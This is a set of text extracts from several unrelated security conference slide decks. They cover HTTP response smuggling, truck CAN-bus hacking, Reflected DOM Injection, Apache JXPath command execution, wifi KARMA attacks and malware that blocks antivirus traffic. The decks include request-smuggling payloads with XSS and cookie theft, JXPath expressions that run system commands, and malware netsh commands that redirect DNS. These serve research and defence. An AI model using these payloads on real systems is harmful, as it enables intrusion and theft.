in each state. A national license would be nice, with
standards accepted by each state. Someone has to
create this and fight the good fight.
Find out when the state sessions are in and when
they submit new laws, hen pay very close attention to
your states legislation pages for new laws and
changes when they are submitted.
Don’t keep waiting for someone else to do it. You are
someone! If you don’t like what is happening then you
need to get involved and change the world!
REFERENCE
HB1259 -
http://www.legis.state.ga.us/legis/2005_06/fulltext/
hb1259.htm
Vetoed law:
http://www.gov.state.ga.us/press/2006/
press1149.shtml
http://blogs.ittoolbox.com/security/investigator/
archives/vetoed-hb-1259-9208
All States licensing:
http://www.oregonpi.com/licensing.htm
Kessler Notebook:
http://www.thekesslernotebook.com/
Delaware:
http://delcode.delaware.gov/title24/c013/index.shtml
THE KESSLER NOTEBOOK
http://www.investigation.com/surveymap/surveymap.html
END
Scott Moulton / CCFS
Forensic Strategy Services, LLC
www.ForensicStrategy.com | pdf |
Response Smuggling
Pwning HTTP/1.1 Connections
Agenda
-
HTTP Request Smuggling
-
Desynchronization Variants
-
Response Smuggling
-
Response Concatenation
-
Arbitrary Proxy Cache Poisoning/Deception
-
Response Scripting
HTTP Request Smuggling
HTTP Request Smuggling
-
Attack introduced in 2005 by Watchfire
-
Abuse discrepancies between Front-end and Back-end Server
-
Multiple message-length directives in one request
GET /example HTTP/1.1
Host: www.vulnerable.com
Content-Length: 32
Content-Length: 5
AAAAAGET /DeleteMyAccount HTTP/1.1
X: GET /myAccount HTTP/1.1
Host: www.vulnerable.com
Cookie: sessionID=1234
HTTP Request Smuggling
-
Desync Variants
-
Techniques to force discrepancy between servers
-
Headers are “hidden” from HTTP parsers
-
“Reborned” in 2019 by James Kettle
-
Real methodology to Detect - Confirm - Explore - Exploit
-
Demonstration of real systems being exploited… Bounties!
Connection Desync
-
End-to-End vs Hop-by-Hop Headers
-
Connection: Connection_Option
-
Directives “close”, “keep-alive”, <custom>
-
Connection Headers deleted when forwarded
GET /Hello HTTP/1.1
Host: www.vulnerable.com
Connection: Content-Length
Content-Length: 13
SMUGGLED_DATA
Request Smuggling Exploitation
-
Bypass Front-End controls (not Authentication)
-
Hijack Requests (only if data is stored and retrieved...)
-
Upgrades existing vulnerabilities (XSS, Open-Redirect)
-
Web Cache Attacks (Cache-Control ignored…)
Response Smuggling
HTTP Response Smuggling
-
Inject a complete message in the Response Queue
-
HTTP Desyn & HTTP Response Splitting
-
Proxy fails to match Requests with corresponding Responses
GET /example HTTP/1.1
Host: www.vulnerable.com
GET /hello HTTP/1.1
Host: www.vulnerable.com
POST /LoginAction HTTP/1.1
Host: www.vulnerable.com
….
User=admin&pass=abc123
HTTP Response Smuggling
HTTP Pipelining
HTTP Pipeline Desync
-
Pipelining not “Enforced”
-
Send through free connections
-
If MaxConn reached: pipeline || wait
-
Responses not “stored”
-
Connection closed
HTTP Pipeline Desync
-
Smuggle Time consuming request
-
Send requests with same time delay: Concurrency vs Speed
Nested Smuggled Requests
Multiple Nested Injections
-
Smuggle more than one request
-
Distribute malicious payloads (N XSS requests)
-
Denial of Service
-
One request produce N responses
-
Consume proxy connections and backend resources (CPU, Memory)
Request Hijacking
-
Request content reflected in victim’s response (no storage required)
-
Desynchronization to obtain victim’s response
GET /example HTTP/1.1
Host: www.vulnerable.com
GET /sleepy HTTP/1.1
Host: www.vulnerable.com
POST /reflect HTTP/1.1
Host: www.vulnerable.com
Content-Length: 100000
ReflectedContent=GET /myAccount HTTP/1.1
Cookie: SecretSessionCookie=ABCDEF1234; ,,,
ATTACKER
VICTIM
HTTP/1.1 200 OK
Content-Type: text/html
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 75
Input param GET /myAccount HTTP/1.1
Cookie: SecretSessionCookie=ABCDEF1234
Response Concatenation
Response Length
-
Some messages MUST NOT contain body (RFC)
-
Responses to HEAD Requests
-
Content-Length is allowed and MUST contain same GET value
What if a Proxy fails to match Responses with original requests?
Response Desynchronization
-
Responses as building blocks (Concatenating)
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 50
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 50
<html>
<body> <p>Hello World</p> </body>
</html>
GET /example HTTP/1.1
Host: www.vulnerable.com
HEAD /HelloWorld HTTP/1.1
Host: www.vulnerable.com
GET /HelloWorld HTTP/1.1
Host: www.vulnerable.com
GET /somePage HTTP/1.1
Host: www.vulnerable.com
-
Last response is built using remaining bytes (Splitting)
G
G
G
G
HTTP Response Desync
Content Confusion
-
Headers used as Body
-
Data reflected in Headers: building an XSS
-
Content-Type specified by HEAD response
-
Reflection in “safe” responses (text/plain, application/json)
HEAD /welcomePage HTTP/1.1
Host: www.vulnerable.com
GET /redir?<script>alert(‘XSS’)</script> HTTP/1.1
Host: www.vulnerable.com
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 100
HTTP/1.1 302 Found
Location:
www.vulnerable.com?<script>alert(‘XSS’)</script>
DEMO
Proxy Cache Poisoning/Deception
Proxy Cache Poisoning
-
Proxy cache uses Cache-Control header (RFC)
-
HEAD response with Cache-Control (client pipelining: no need for sleepy request)
GET /example HTTP/1.1
Host: www.vunerable.com
Content-Length: 54
Connection: Content-Length
HEAD /home.html HTTP/1.1
Host: www.vulnerable.com
POST /redirect HTTP/1.1
Host: www.vulnerable.com
Content-Length: 33
ref=<script>alert(‘XSS’)</script>
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 18
This is an example
HTTP/1.1 200 OK
Content-Type: text/html
Cache-Control: public, max-age=7200
Content-Length: 77
HTTP/1.1 302 Found
Location:
www.vulnerable.com/<script>alert(‘XSS’)<script>
G
G
G
G
HTTP Response Desync
G
Proxy Web Cache
G
Proxy Cache Poisoning
-
Proxy cache gets poisoned by Cache-Control header
-
Every URL can get poisoned arbitrarily
-
Cached response can contain a payload (XSS, Open Redirect, XSRF)
-
DoS by poisoning all URLs with static 404 response
-
Pipelining is created at client and forwarded as RFC specifies
Proxy Cache Deception
GET /example HTTP/1.1
Host: www.vunerable.com
Content-Length: 54
Connection: Content-Length
HEAD /home.html HTTP/1.1
Host: www.vulnerable.com
GET /myAccount HTTP/1.1
Host: www.vulnerable.com
Cookie: mySessionCookie=abc123
HTTP/1.1 200 OK
Content-Type: text/html
Cache-Control: public, max-age=7200
Content-Length: 77
HTTP/1.1 200 OK
Content-Type: text/html
Hello Victim
Secret Data: ...
DEMO
Arbitrary Response Injection
Response Splitting
GET /example HTTP/1.1
Host: www.vulnerable.com
Connection: Content-Length
Content-Length: 241
HEAD /HelloWorld HTTP/1.1
Host: www.vulnerable.com
POST /reflection HTTP/1.1
Host: www.vulnerable.com
Content-Length: 137
ReflectedParam=AAAAAAAAAHTTP/1.1 OK 200
Cache-Control: max-age=9000
Content-Type: text/html
Content-Length: 20
Arbitrary Response
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 100
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length:120
Your parameter input was: AAAAAAAAAHTTP/1.1
OK 200
Cache-Control: max-age=9000
Content-Type: text/html
Content-Length: 20
Arbitrary Response
Conclusions
-
Response Smuggling does NOT rely on extra vulnerabilities (RFC).
-
Response/Request Hijack = Confidentiality compromised
-
Proxy Cache Poisoning / Nested Injection = Availability compromised
-
Response Scripting / Request Smuggling = Integrity compromised
-
Arbitrary Response Writing + Cache = Client completely compromised
-
Sleepy Request + Timing = Great increase in Reliability
Questions?
Twitter: @tincho_508
Email: [email protected] | pdf |
The$newest$version$of$this$slide$deck$and$other$
related$stuff$can$be$found$at$
http://truckhacking.github.io/
Cheap$Tools$for$Hacking$
Heavy$Truck
By#Haystack#and#Six#Volts
What$we$are$going$to$talk$about
• Heavy#Trucks:#similarities#and#differences#from#cars
• R&D#Problems:#Trucks#are#expensive#and#the#workaround
• Networking#Protocols#and#Standards
• Adventures#in#truck#hacking
• New#Hardware#Tools
Some$Quick$Notes
• We#assume#that#you#are#familiar#with#basic#vehicle#networking#
concepts#– e.g.#there#are#computers#in#cars#and#they#use#a#network
• We#also#assume#you#are#familiar#with#the#idea#that#you#can#do#bad#
things#once#you#are#on#those#networks
• We#are#leaving#out#LOTS#of#details#for#time#reasons
• Check#out#our#github
• Safety#Disclaimer:#Moving#vehicles#are#dangerous.#Do#not#fuzz#a#rental#
vehicle#while#driving,#or#do#anything#else#stupid
Trucks$vs.$Cars
• “Trucks”#are#really#any#heavy#vehicle#including#but#not#limited#to#
OverPtheProad#Semis,#Vocation#Trucks,#Fire#Engines,#Busses,#some#
Armored#Personnel#Carriers,#Ambulances,#Armored#cars,#boats,#diesel#
generators#and#agricultural#equipment.#
• Exception:#Diesel#Pickup#Trucks#(these#act#more#like#cars)
• Nearly#all#heavy#vehicles#are#Diesel#engines.
• Different#OnPboard#Diagnostic#and#Networking#Standards#
(J1939/J1708)
• RP1210#governs#workstationP>adapter#interface
Truck$Economics
• Many#components#from#different#manufacturers#are#interchangeable#
(engine,#brakes,#etc)
• Example:#Navistar/International#Truck#can#be#purchased#with#either#a#
Cummins#or#International/Navistar#Engine#(and#Previously#CAT#also)
• This#means#that#products#from#different#manufacturers#have#to#be#
interoperable
• Many#trucks#operate#in#Fleets,#typically#as#homogenous#as#possible#
• The#industry#is#incredibly#data#hungry,#lots#of#data#are#stored#and#
transmitted
• Data#hungry#industry#+#lots#of#miles#=#trucks#spend#(comparatively)#
more#time#connected#to#diagnostic#computers
Trucks$are$EXPENSIVE
• A#new#Truck#can#cost#over#$100,000.#Ouch.
• For#the#aspiring#hacker#P They#are#big,#hard#to#store,#hard#to#drive#and#
expensive#to#operate.
• So#we#didn’t#have#one#(and#still#don’t)…
• …so#how#do#we#experiment?#We#built#a#thing.
TruckPInPAPBox,#Version#1.0
TruckGInGAGBox$(TIB)$
• We#bought#an#ECM#(Engine#Control#Module)#and#built#the#electronics#
around#it#such#that#it#functioned#enough#for#analysis#(KeyPon,#engine#
off)
• The#first#one#took#6+#months#and#cost#over#$10,000
• However,#that’s#less#than#the#cost#of#a#truck
• Since#then,#we’ve#built#over#a#dozen#of#these#fullPsize#versions#
• Later,#we#compressed#the#concept#into#small#box#with#one#or#two#
PCBs#that#hook#up#to#the#ECM#for#each#make/model
TruckGInGAGBox$Concepts
• Recreate#the#Vehicle#Networks,#J1939#(CAN),#J1708#(RS485Pish)
• Fake#Passive#sensor#signals#(usually#just#a#set#voltage#or#resistance)
• Fake#Simple#Active#Signals#(PWM#for#Accelerator#Pedal)
• Generate#Complex#Analog#Signals#(Vehicle#Speed)
Networking$Protocols$and$Standards
• 2#main#protocols:#SAE#J1939#and#J1708
• J1708#is#the#old#one#(1985)
• Based#on#9600#baud#UART
• J1587#operates#on#top#of#it#(transport#layer)
• J1939#is#the#new#one#(?)
• Physical#&#data#link#layers#are#250K#CAN
• Addressing,#transport,#etc
• ISO15765#also#used,#but#only#for#diagnostics#comms
• (details#in#whitepaper)
J1708$basics
• 9600#baud#serial
• Can#be#read#with#a#tty with#a#little#work
• Messages#are#time#delimited
• MIDs#and#PIDs
• Mostly#older#trucks#will#have#only#J1708
• Some#newer#ones#will#have#components#using#it
• Also,#gliders
• Data#link#escape#for#proprietary#comms (PID#0xFE)
• Message#fragmentation#&#reliable#delivery#(J1587)
J1939$Basics
• 250k#CAN#(500k#in#the#nearPish future)
• Extended#CAN#ID#broken#into#source,#(maybe)#destination,#etc
• Address#management,#transport,#message#fragmentation
• There’s#a#bajillion#different#J1939#standards
• Also#a#PGN#or#two#reserved#for#proprietary#comms
VDA$basics
• Vehicle#diagnostics#adapters
• Similar#in#purpose#to#OBDPII#scan#tools
• Basically#USB/Serial/Ethernet#P>#J1939/J1708#brid
• Governs#functions#exposed#by#vehicle#diagnostic#adapters#(VDAs)
• Best#VDAs#for#RE#are#Dearborn#Group#DPA
• Robust#logging#facilities#allow#for#easy#dynamic#analysis
• For#now;#we#want#to#write#a#RP1210#driver#for…
Truck$Hacking$Tools:$Truck$Duck
• Cape#for#a#BeagleBone
• Hardware#for#CAN#and#J1708
• 2#of#each#for#potential#filtering/modification#purposes
• We#also#have#a#software#stack#for#doing#comms
• J1939#kernel#extensions#(plus#J1939Penabled#Python#build)
• Homegrown#J1708#implementation#using#AM335x#PRU#(it#is#ugly)
Adventures$in$Truck$Hacking
Screwing$with$engine$parameters$
• Most#engine#parameter#configuration#is#done#over#proprietary#
protocol#extensions
• Pretty#easy#to#reverse
• Most#OEM#software#is#unPobfuscated#.NET#linked#to#some#legacy#C
• We#super#promised#not#to#give#too many#specifics
• Demonstration#of#what#is#possible#with#TruckDuck
Engine$parameter$modification$demo
• <demo#goes#here>
ECM$impersonation
• Useful#for#reversing#proprietary#comms parameters
• (details#later)
Bad$Crypto$A$Go$Go
• (disclosed#at#con)
• More#demos#to#come#probably!
Heads$up:
There#is#a#ton#of#related#material#on#our#github
including#a#white#paper,#schematics,#assembly#
instructions,#code,#and#embedded#OS#image.
truckhacking.github.io | pdf |
UTILIZING POPULAR WEBSITES FOR
MALICIOUS PURPOSES USING RDI
Daniel Chechik, Anat (Fox) Davidi
Security Web Scanners
What is RDI?
3
Reflected DOM Injection
Legit
Legit
Malicious
A Recipe for Disaster
4
§ 1 simple web page
§ 1 trustworthy web utility
§ 1 script that behaves differently within a certain
context
§ 2 cups of funny cat pictures
RDI in Action – Yahoo Cache
5
Yahoo Cache
What Just Happened?!
6
Let’s Take it a Step Further
7
Google Translate
Go back in time (10 minutes ago)
8
§ Producing a malicious URL “hosted” on Google
§ We will be able to access it directly without the
interface:
hxxp://translate.google.com/translate?
hl=en&sl=iw&tl=en&u=http%3A%2F
%2Fhandei.ueuo.com%2Ftran.html
What happens behind the scenes
9
Content is translated
§ After the text is translated, the malicious code is
generated, decrypted and executed
Let’s Check Out the Code
10
script
Bob Marley
Generated
Decrypted
Executed
Reflected DOM Injection
11
§ RDI is a technique
§ Context makes the difference
§ Very hard to detect
§ RDI is awesome!
VirusTotal / Wepawet ?
12
Thank You!
13
Q & A
Daniel Chechik:
[email protected] @danielchechik
Anat (Fox) Davidi:
[email protected] @afoxdavidi
More Cats! | pdf |
浅析Apache Commons Jxpath命令执⾏分
析(CVE-2022-41852)
影响版本
commons-jxpath:commons-jxpath <= 1.3
⼀直到最新版本,官⽅也不打算修了
利⽤探索
测试环境:jxpath1.3
JXPath⽀持标准的XPath函数,开箱即⽤。它还⽀持 "标准 "扩展函数,这些函数基本上是通往
Java的桥梁,以及完全⾃定义的扩展函数。
简单从漏洞描述可以看出由于解析xpath表达式的问题造成的漏洞
其实这来源官⽅的⼀个feature,如图看起来它赋予了我们⼀种动态执⾏代码的能⼒
这时候我们就会想为什么会有这种奇怪的需求,毕竟从平时经验来讲xpath,作为⼀种路径语
⾔,它的功能是帮助我们对xml进⾏⼀些简单的信息检索,然⽽它叫JXpath⽽不叫Xpath,因此
其实从实现上来讲它不仅实现了xpath查询的⼀些基础功能,更重要的是它搭建了⼀个通往
java的桥梁,从官⽅的设计初衷也可以看出,它的设计实现其实更像⼀款表达式语⾔
Primary applications of JXPath are in scripting: JSP and similar template/script based
technologies. However, programmers who prefer XML-flavored APIs, should consider JXPath
as an alternative to other expression languages as well. JXPath is a must-have tool for those
who work with mixtures of Java objects and XML and need to frequently traverse through
graphs of those.
简单的测试
简单写个测试demo
Test.java
Calc.java
对于如何解析其实很多时候我们并不需要去关注对字符token的解析过程,毕竟我们这也不是
绕waf,我们也不需要知道如何去实现⼀些畸形构造达到⼀致的功能,⽽在这⾥我们更应该关
注什么呢?我们应该关注它官⽹这个feature如何实现的调⽤,以及调⽤⽅法对⽅法又有什么限
制?
在 org.apache.commons.jxpath.PackageFunctions#getFunction 当中
import org.apache.commons.jxpath.JXPathContext;
public class Test {
public static void main(String[] args) {
JXPathContext context = JXPathContext.newContext(null);
context.getValue("com.example.springdemo.calc.calc()");
}
}
package com.example.springdemo;
public class calc {
public static void calc(){
try {
Runtime.getRuntime().exec("open -na Calculator");
}catch (Exception e ){
}
}
}
这⾥可以看出允许的调⽤⼀个是构造函数,另⼀个是静态⽅法,当然他们都需要是public修饰
再次回
到 org.apache.commons.jxpath.ri.compiler.ExtensionFunction#computeValue 当
中,
在获得了org.apache.commons.jxpath.Function对应的这个实例后,回去调⽤具体的invoke的实现
⽽Function具体的接⼜实现有两个类
org.apache.commons.jxpath.functions.ConstructorFunction
org.apache.commons.jxpath.functions.MethodFunction
如何判断返回的是哪个类?
ConstructorFunction 的 invoke 就不多说了,实例化构造函数,另⼀
个 MethodFunction#invoke ,反射执⾏⽅法,都没什么好说的
那么我们假设就从官⽅的demo出发,我们能做些什么?
对于实例化我们能做什么
⽐如说对于new这个操作来说,⼀些常见的如spring当中有两个类构造函数就能加载远程配置
可以rce
org.springframework.context.support.ClassPathXmlApplicationContext
org.springframework.context.support.FileSystemXmlApplicationContext
对于静态⽅法我们能做什么
jndi当中有静态⽅法,javax.naming.InitialContext.doLookup
⼀些常见库⽐如fastjson出发json反序列化
当然还有jdbc攻击也可以帮助我们撕开⼀条漏洞的⼜⼦
当然肯定还有其他的攻击⼿法毕竟jre当中有很多类这⾥只是举⼀些例⼦⽽已,对于学习⾜够
了
想要更多?
拿着tabby编译扫⼀下就⾏,毕竟在这⾥我们规则很简单构造函数、静态⽅法,只是筛选可能
会费点时间罢了
突破限制
对于⼤多数⼈来说,其实想到上⾯⼏点就已经很不错了,但是考虑的也不够全⾯。毕竟⾯
向官⽅feature学习,下个断点,随便点点,也确实差不多了。
对我们来说虽然⽤spirng开发的项⽬很多,但是我们也不⼀定能遇到spring的环境,也不⼀
定有jdbc可以打。
⽽对于JXpath来说,虽然设计的像表达式,但它却不像其他表达式引擎那般灵活,⽀持随意
赋值然后调⽤。也不能多条语句执⾏,它⼀次只能执⾏⼀条,怎么办呢?事实上如果你仔细
看了最后⼀个demo你会发现有个长这样的
从英⽂来看其实就是$book.getAuthorsFirstName(),就是这么的简单。稍微会点Java的你可能也
该想到
如果我们想要执⾏ Runtime.getRuntime().exec("open -na Calculator") ,按照上⾯
的例⼦其实就改为了 exec(java.lang.Runtime.getRuntime(),'open -na
Calculator')
又或者我们利⽤ScriptEngineManager调⽤js实现rce
eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'java.
lang.Runtime.getRuntime().exec("open -na Calculator")')
⽅法也便多了起来,有时候多往下⾯看看,真的可以节约很多时间,不然就需要仔细看看字
符串的解析流程,属实⽆趣。
String firstName = (String)context.getValue("getAuthorsFirstName($book)");
//As you can see, the target of the method is specified as the first
parameter of the function. | pdf |
1"
2"
3"
7"
8"
9"
10"
11"
12"
This"is"how"networks"show"up"in"your"network"list"when"searching"for"wifi"networks"
on"your"device."
13"
When"you"join"a"network,"this"interacCon"happens."
14"
15"
16"
KARMA"aKacks"do"exactly"the"same"thing"as"a"normal"associaCon,"it’s"just"an"evil"AP"
instead"of"the"actual"AP"doing"it."
17"
18"
19"
20"
This"is"why"KARMA"aKacks"weren’t"working"well,"we"weren’t"responding"to"the"
broadcast"probes.""
21"
22"
23"
In"trying"to"figure"out"the"issue,"we"went"to"the"place"we"should"always"see"probes,"
hidden"networks."Hidden"networks"don’t"return"the"ESSID"in"response"to"broadcast"
probes."
24"
The"AP"only"gives"up"it’s"name"if"the"device"probes"for"it"specifically"(i.e."you"must"
know"the"name"already)."
25"
26"
This"means"that"iOS"devices"are"passively"looking"for"beacons"from"hidden"networks."
Why"not"do"that"for"all"networks?"
27"
28"
29"
30"
31"
Probe"responses"contain"a"flag"indicaCng"whether"they"are"WEP,"WPA/2"PSK,"WPA/2"
EAP"etc."This"is"used"as"part"of"the"“uniqe”"match"for"PNL"networks."
32"
33"
This"specific"part"is"sCll"under"heavy"tesCng"at"the"Cme"of"wriCng."
34"
We"don’t"have"the"creds."But,"we"can"have"our"rogue"AP"act"as"a"WPA/2"network"and"
send"the"first"packet,"and"we"capture"the"second."We"don’t"have"the"right"key,"and"
can’t"generate"the"Temporal"key,"but"we"have"anonce"and"snonce"and"a"MIC"from"
the"client,"so"we"can"aKempt"to"brute"the"key"unCl"we"can"generate"a"MIC"for"the"
snonce"that"matches"the"clients."Josh"Wright’s"coWPAKy"tool"first"did"this."
35"
With"EAP,"we"have"a"similar"problem,"but"if"the"client"isn’t"validaCng"correctly,"we"
can"MitM."EAP"TLS"is"mutually"authenCcated"so"we"can’t"here"(just"included"for"a"
simpler"decripCon)."
36"
We"can"MitM"PEAP"and"PEAPdlike"EAPs"most"of"the"Cme."This"is"because"most"
configuraCons"don’t"validate"the"server"cert,"and"even"when"they"do,"there"is"no"CN"
name"match,"it’s"purely"on"authority."A"successful"MitM"gets"up"an"MSCHAPv2"
challenge"response"(depending"on"setup).""
37"
38"
39"
40"
41"
42"
43"
44"
45"
46"
47"
48" | pdf |
The future is present, here and now. But to see it, you must fly. Richard Thieme
leads you to the edge of a cliff... and gives you a push.
New ways of thinking emerge during free fall. Identities diverge, shapes
change, and questions linger long after you put down this astonishing book.
Mind Games provides wings. Risk the trip. You’ll never be merely human again.
• The depth, complexity, and texture of Richard Thieme’s thought processes break
the mold. – Brian Snow, Senior Technical Director, NSA (ret)
• Thieme’s ability to communicate complex, abstract concepts and personalize
them is like verbal origami. – Jeff Moss, Director, Black Hat, a division of
TechWeb/United Business Media, and a member of the DHS HSAC
• “Silent Emergent, Doubly Dark” is ... very imaginative writing, with a complex-
ity that raises [the story] to the fringes of slipstream. We’re left wondering
what’s real and what’s not .... – Steven Pirie, The Future Fire
• Beautiful descriptions and intriguing concepts ... – The Fix (UK)
• The reader is left reeling, dizzy with insight. – Robin Roberts, Information Security
R&D, CIA (ret)
Richard Thieme is a true digital renaissance man. He used the early Internet
to reach thousands of global readers who dubbed him a member of the “cyber
avant-garde” (CNN), “a father figure for online culture,” (London Sunday Tele-
graph), “a keen observer” (Le Monde) and “one of the most creative minds of the
digital generation” (CTHEORY). He has delighted audiences with topics such as
creativity, security and professional intelligence in a time of radical change,
biohacking, the transformation of spirituality and religion, and UFOlogy 101.
Humans are a funny species.
Nineteen Stories of Brave New Worlds and Alternate Realities | pdf |
云安全体系下的安全技术对抗
演讲人: 张文君(Junzz)
关于演讲者
张文君 (Junzz)
金山网络安全研究员
负责金山毒霸内核驱动和顽固病毒查杀相关开发
对严重安全事件快速分析和回应有丰富经验
曾处理过众多大陆知名流行病毒:极虎,鬼影,杀破网,淘宝大盗,极光,超级
工厂,AV 终结者等.
云对抗-手法
•断网
-切断和云端服务器的联络
-修改查询结果
•变形
-MD5变形
-膨胀自身
•Misc
-BootKit
-Bat、Vbs、Msi
客户端
批处理/脚本
修改DNS
本地路由表
IP组策略
修改TcpEntry
LSP劫持
Hook TCPIP
云端
NDIS中间层
断网
阻断交互
本地添加IP地址
修改查询
结果
MD5变形
膨胀自身
变形
云端
客户端
修改自身
BAT
VBS
MBR
MSI
Misc
云端
客户端
改头换面
RootKit
断网1-批处理断网
发现时间:2009年4月
手法:
-发现云查杀进程关闭网络连接
不足:
-无针对性;所有进程的网络都
断了
-无隐藏性;易被用户发觉
断网2-修改DNS(a)
发现时间:2010年6月
下载源:
http://andy.cd/down/****/20101.asp
手法:
修改DNS服务器的方式来阻止用户访问安全站点
细节 :
通过命令行
netsh interface ip set dns name=“本地连接"
source=staticaddr=122.225.**.***register=PRIMARY
netsh interface ip add dns "本地连接" 60.191.**.** 2"
修改当前网络连接DNS服务器,该服务器会将安全类
站点域名对应ip解析为127.0.0.1
断网2-修改DNS(b)
黑的DNS
如图:修改为该DNS后
ping 安全软件的IP返回
的均返回127.0.0.1:
断网3-添加本地路由表(a)
手法:
获取安全站点ip
将这些IP记录添加到本地路由表
路由表记录中Gateway值设置为本地ip+1
发现时间: 2010.5月初
断网3-添加本地路由表(b)
注:红色部分为病毒所添
加的记录
• 如图:染毒环境中通过
route print 命令查看
当前路由记录
断网3-添加本地路由表(c)
技术核心实现部分:
获取到安全站点 ip,并将ip 最后一字段设为 0。
获取到本机 ip,ip 最后一字段加 1。
将 这 两 个 地 址 分 别 填 充 到 dwForwardDest 和
dwForwardNextHop 域。
CreateIpForwardEntry 在本地路由中新建安全站点ip
记录。
断网4-设置IP组策略(a)
发现日期: 2010.4.22
下载源:http://117.41.167.xxx:1024/QvodPlayer.exe
病毒通过添加IP安全策略,过滤安全站点 IP。
在染毒环境下ping 安软的网址,均返回
Destination host unreachable。
手法:
断网4-设置IP组策略(b)
如图,组策略被修改后:
断网5-VB模拟测试程序(a)
发现日期: 2010.4.22
GetExtendedTcpTable 获取指定进程
TCP 链接。
SetTCPEntry 将获取的TCP 链接状态置
为Delete。
循环以上流程,杀软在重连服务端后TCP
状态再次 被改。
手法:
样本导致的现象:所有指定进程网络连接中断
如图,测试扫描的日志中出现大量文件
Net Detect Failed
同时杀毒病毒库无法升级、卫士流量监控失效.
断网5-VB模拟测试程序(b)
断网5-VB模拟测试程序(c)
实现原理:
GetExtendedTcpTable 获取当前 TCP 的 ExTable;
根据Pid得到进程的全路径
内置表中存放常见安全软件的进程名
和当前 TCP 连接的进程比对 相同则用SetTcpEntry 将
state设置为MIB_TCP_STATE_DELETE_TCB
设置定时器不断枚举ExTable 和ReSet
断网6-本地添加IP地址(a)
发现日期: 2010.4月初
手法:内置在某远控中,将要屏蔽的IP添
加到本地临时的IP条目:
GetInterfaceInfo
AddIPAddress
断网6-本地添加IP地址(b)
源码:
断网7-Hook Tcpip分发函数(a)
下载源
http://qvod.du***.com/qvod/qvod.exe
发现日期:2010.5.30
手法
病毒驱动对TCPIP 的IRP分发函数进行替换,实现对当前
网络通信中域名的比对,并从ring3程序中传入要过滤的
网址黑名单的哈希,当发现哈希相同的访问请求则屏蔽。
同时,病毒还Hook了Fsd的分发函数,保护自己的文件
不被打开和枚举到。
断网7-Hook Tcpip分发函数(b)
IRP_MJ_INTERNAL_DEVICE_CONTROL的处理函数被替换:
断网7-Hook Tcpip分发函数(c)
FSD的处理函数也被病毒替换:
断网7-Hook Tcpip分发函数(d)
RING3 层发送IoControlCode 给驱动交互
传入的 Buf 内容为:要屏蔽的网址字符串Hash值
断网7-Hook Tcpip分发函数(e)
当 Ring0层接受到 控制码时,即会对 TCPIP 的 IRP 分发函
数做 HOOK:
-替换 IRP_MJ_INTERNAL_DEVICE_CONTROL 分发
为自己的处理函数
-将原始的分发函数保存
在访问网络时,流程会进入病毒的Hook函数,
简要处理流程:
比对 RING3 层传入的黑名单哈希值和当前要
访问网站字符串的哈希
相同,则直接将该请求完成;否则,调用原始的
分发函数,将这个请求传递下去。
断网7-Hook Tcpip分发函数(f)
断网7-Hook Tcpip分发函数(g)
调试流程:
断网7-Hook Tcpip分发函数(h)
断网8- LSP劫持
发现时间:2010.4.23
释放zydxc0209.dll,注入到LSP项,名称为PhoenixLSP。接着释放
被抹去PE头部的shadowsafe.sys
zydxc0209.dll主功能:
当发现为dnfChina.exe时把shadowsafe.sys的mz头修
复,加载 shadowsafe.sys恢复SSDT表,对抗TP。
搜索密保卡:找当前窗口中打开的图片格式文件,以及看图软件,截
图保存。
发现进程为dnf.exe时zydxc0209.dll会修改对应的发包处理函数
lpWSPSend,截取账号密码。
手法:
断网9-“杀破网”NDIS驱动(a)
发现时间:2010.4.16
下载源:http://down.liuxue8.com/****/jftv5911.exe
手法:
母体为某播放器软件安装包,包内的install.exe,会释放netsflt.sys和
netsflt.dll并安装该驱动模块;通过NDIS中间层驱动来过滤数据包;当发现发
包的地址为:
•
qup.f.360.cn
•
geo.kaspersky.com
•
f-sq.ijinshan.com
•
cu010.www.duba.net
•
……
则拒绝请求,从而大量安软将无法连接升级服务器,出现升级卡死的情况
一旦用户/杀软将netsflt.sys驱动强制Kill掉,那么用户会出现无法上网的现象;
netsflt.sys驱动文件修改自微软DDK中的一个示例;
WinDDK\7600.16385.0\src\network\ndis\passthru
在病毒的修改版驱动中,加入了对网址的做过滤的函数,如果该函数返
回值为1;说明源IP地址为杀毒软件的升级服务器,则滤过该请求;
断网9-“杀破网”NDIS驱动(b)
修复网络异常(1)
DNS被篡改修复方案:
发现DNS为黑名单的Ip时,把DNS改为8.8.8.8等通用的DNS
本地路由表修复方案:
扫描前先遍历本地路由表,删除掉与安全软件相关的记录。但这里
存在隐患,如果病毒循环写入本地路由表,仍会造成“断网”,需结
合本地防御:禁止灰进程写入。
IP组策略修复修复方案:停止PolicyAgent服务,然后遍历IP安全策
略项
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Win
dows\IPSec\Policy\Local,删除其中的黑记录,重启PolicyAgent
服务。
修复网络异常2
VB模拟断网修复方案:
由于该样本会循环重置链接状态,直接修改链接状态为有效或重连服务端都不
行,对这类病毒最好是配合系统防御阻止自身的TcpTable被修改。
Hook TCPIP修复方案:
检测出 IRP 的分发函数被 HOOK,读取内存中分发函数的地址,并检查是否
在TCPIP.SYS 驱动的内存映射范围内,如果不在,则触发黑白名单机制,排除防
火墙驱动造成的干扰,将黑驱动删除后重启。
“杀破网”NDIS驱动修复方案:
不要强制删除该驱动文件,而是根据UUID查询COM接口: QueryInterface ->
调用INetCfgClassSetup中的DeInstall将其卸载。
鬼影-启动流程
鬼影-磁盘分布
鬼影1代:释放驱动atixx.sys,比对公司名哈希值来结束
杀 软,注入病毒DLL到Explorer进程
鬼影2代:替换fips.sys,挂钩ImageLoadCallBack,根
据公司名对抗杀软
鬼影3代:替换beep.sys,挂钩atapi、scsi的StartIo,
防止被修复,写alg.exe并启动
鬼影种类
特征匹配
特征匹配
特征匹配
特征匹配
多硬盘
多硬盘
多硬盘
多硬盘
分区表是否正常
分区表是否正常
分区表是否正常
分区表是否正常
原始
原始
原始
原始MBR的备份是否有效
的备份是否有效
的备份是否有效
的备份是否有效
鬼影的检测
修复方案:
• 寻找原始备份扇区
解密
判断分区表是否合法
• 通用MBR重置主分区
鬼影的修复
变形-膨胀自身(1)
发现日期:2010.5.1
